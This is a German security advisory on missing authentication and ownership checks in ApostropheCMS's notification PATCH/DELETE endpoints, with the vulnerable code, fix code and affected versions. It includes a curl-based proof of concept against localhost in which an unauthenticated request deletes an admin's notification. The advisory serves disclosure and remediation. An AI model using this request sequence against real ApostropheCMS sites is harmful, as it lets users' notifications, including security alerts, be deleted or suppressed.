ApostropheCMS: Fehlende Autorisierung an den Notification-PATCH/DELETE-Endpunkten
Zusammenfassung
Das Benachrichtigungsmodul stellt die REST-Endpunkte PATCH und DELETE bereit, die Operationen direkt auf der zugrunde liegenden MongoDB-Collection ausführen, ohne zu überprüfen, ob der Anfragende authentifiziert ist oder die Zielbenachrichtigung besitzt.
Infolgedessen kann ein nicht authentifizierter Angreifer, der eine gültige Benachrichtigungs-ID erlangt, die Benachrichtigung eines anderen Benutzers ändern oder dauerhaft löschen.
Betroffener Code
Datei
packages/apostrophe/modules/@apostrophecms/notification/index.js
// restApiRoutes
async patch(req, _id) {
const dismissed = self.apos.launder.boolean(req.body.dismissed);
if (dismissed) {
await self.emit('beforeSave', req, { _id, dismissed });
await self.db.updateOne(
{ _id },
{
$set: { dismissed },
$currentDate: { updatedAt: true }
}
);
}
},
async delete(req, _id) {
await self.db.deleteMany({ _id });
}
Im Gegensatz zur GET-Benachrichtigungsroute verifizieren diese Handler nicht:
- Authentifizierung (
req.user) - Eigentümerschaft (
userId === req.user._id) - Autorisierung oder Berechtigungen
Stattdessen wird die übergebene _id direkt für die rohe MongoDB-Collection verwendet.
Ursache
Die REST-Endpunkte für Benachrichtigungen führen Datenbankoperationen direkt über self.db aus, ohne Authentifizierung oder Autorisierung durchzusetzen.
Obwohl das Framework Berechtigungsprimitive (req.user, Eigentumsprüfungen und apos.permission) bereitstellt, werden diese von den Endpunkten nie aufgerufen. Daher wird jede Anfrage, die diese Handler erreicht, ausschließlich anhand der bereitgestellten Benachrichtigungs-ID verarbeitet.
Zum Vergleich: Die GET-Benachrichtigungsroute prüft ordnungsgemäß:
if (!(req.user && req.user._id)) {
throw self.apos.error('invalid');
}
In den Handlern PATCH oder DELETE existiert keine vergleichbare Validierung.
Machbarkeitsnachweis (Proof of Concept)
1. Als Administrator anmelden
curl -sS -c admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null
curl -sS \
-b admin_cookies.txt \
-c admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
"username":"admin",
"password":"AdminP@ssw0rd123!",
"session":true
}'
2. Benachrichtigung erstellen
curl -sS \
-b admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/notification \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
"message":"manual verify test",
"type":"info"
}'
Beispielantwort:
{
"noteId":"p358r7phi2w8l245ww5130uf"
}
3. Überprüfen, ob die Benachrichtigung existiert
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"
Antwort:
{
"notifications":[
{
"_id":"p358r7phi2w8l245ww5130uf",
"userId":"i89h844o5n3nbreis0ugusum",
"message":"manual verify test"
}
],
"dismissed":[]
}
4. Zugriff auf den Endpunkt ohne Authentifizierung
Erstellen Sie ein neues Cookie-Jar, das nur das öffentliche CSRF-Cookie enthält:
rm -f anon_cookies.txt
curl -sS \
-c anon_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null
Senden Sie dann die Anfrage ohne authentifizierte Sitzung:
curl -i \
-b anon_cookies.txt \
-X DELETE \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \
-H "X-XSRF-TOKEN: csrf"
Antwort:
HTTP/1.1 200 OK
5. Überprüfen, ob die Benachrichtigung gelöscht wurde
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"
Antwort:
{
"notifications":[],
"dismissed":[]
}
Die Benachrichtigung des authentifizierten Administrators wurde erfolgreich durch einen nicht authentifizierten Client gelöscht.
Auswirkungen
Ein Angreifer, der eine gültige Benachrichtigungs-ID erhält, kann:
- Benachrichtigungen anderer Benutzer löschen.
- Benachrichtigungen anderer Benutzer als verworfen markieren.
- Sicherheitsrelevante oder administrative Benachrichtigungen unterdrücken.
Die Sicherheitsanfälligkeit betrifft primär die Integrität.
Obwohl Benachrichtigungs-IDs mit CUID2 generiert werden und praktisch nicht erraten werden können, darf Autorisierung nicht auf der Entropie von Bezeichnern beruhen. Jede separate Schwachstelle zur Offenlegung von Informationen oder Protokoll-Exponierung, die Benachrichtigungs-IDs offenlegt, würde dieses Problem direkt ausnutzbar machen.
Empfohlene Behebung
Fordern Sie vor der Verarbeitung jeglicher Änderungsanfragen eine Authentifizierung an.
Beschränken Sie zudem alle Datenbankoperationen auf den authentifizierten Benutzer.
Beispiel:
// patch
async patch(req, _id) {
if (!req.user) {
throw self.apos.error('forbidden');
}
const dismissed = self.apos.launder.boolean(req.body.dismissed);
if (dismissed) {
await self.emit('beforeSave', req, { _id, dismissed });
const result = await self.db.updateOne(
{ _id, userId: req.user._id }, // <-- ownership check
{ $set: { dismissed }, $currentDate: { updatedAt: true } }
);
if (!result.matchedCount) {
throw self.apos.error('notfound');
}
}
},
// delete
async delete(req, _id) {
if (!req.user) {
throw self.apos.error('forbidden');
}
const result = await self.db.deleteMany({ _id, userId: req.user._id });
if (!result.deletedCount) {
throw self.apos.error('notfound');
}
}
Aktualisieren Sie den Handler PATCH gleichermaßen, um vor der Aktualisierung von Benachrichtigungsdatensätzen sowohl die Authentifizierung als auch die Eigentümerschaft zu prüfen.
Empfehlung
Jeder Endpunkt zur Änderung von Benachrichtigungen sollte:
- Authentifizierung erfordern.
- Eigentümerschaft verifizieren (
userId === req.user._id). - Bei unberechtigten Anfragen
403 Forbiddenzurückgeben. - Datenbankoperationen vermeiden, die ausschließlich über eine benutzergesteuerte
_iderfolgen.
Dieselben Autorisierungsprüfungen sollten auch auf alle internen Hilfsmethoden angewendet werden (wie etwa dismiss()), die den Benachrichtigungsstatus ändern.
Was zu tun ist
Aktualisieren Sie ApostropheCMS auf die Version 4.33.0 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | apostrophe | < 4.33.0 | 4.33.0 |
Verweise
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vwwx-px9w-crrc
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0
- CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N- Schwäche (CWE)
CWE-639, CWE-862- Plattform
- npm
- Paket
apostrophe- Veröffentlicht
- 20.10.2026
- Aktualisiert
- 20.10.2026 21:38
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-vwwx-px9w-crrc - CC BY 4.0
Schwachstellenhistorie: apostrophe
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 27
- Erste → letzte
- 09.2020 10.2026
- Ohne Fix
- 4
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 2
- Hoch 8
- Mittel 13
- Niedrig 4
Veröffentlichungen pro Jahr
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 23
-
ApostropheCMS: Fehlende Autorisierung an den Notification-PATCH/DELETE-Endpunkten dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.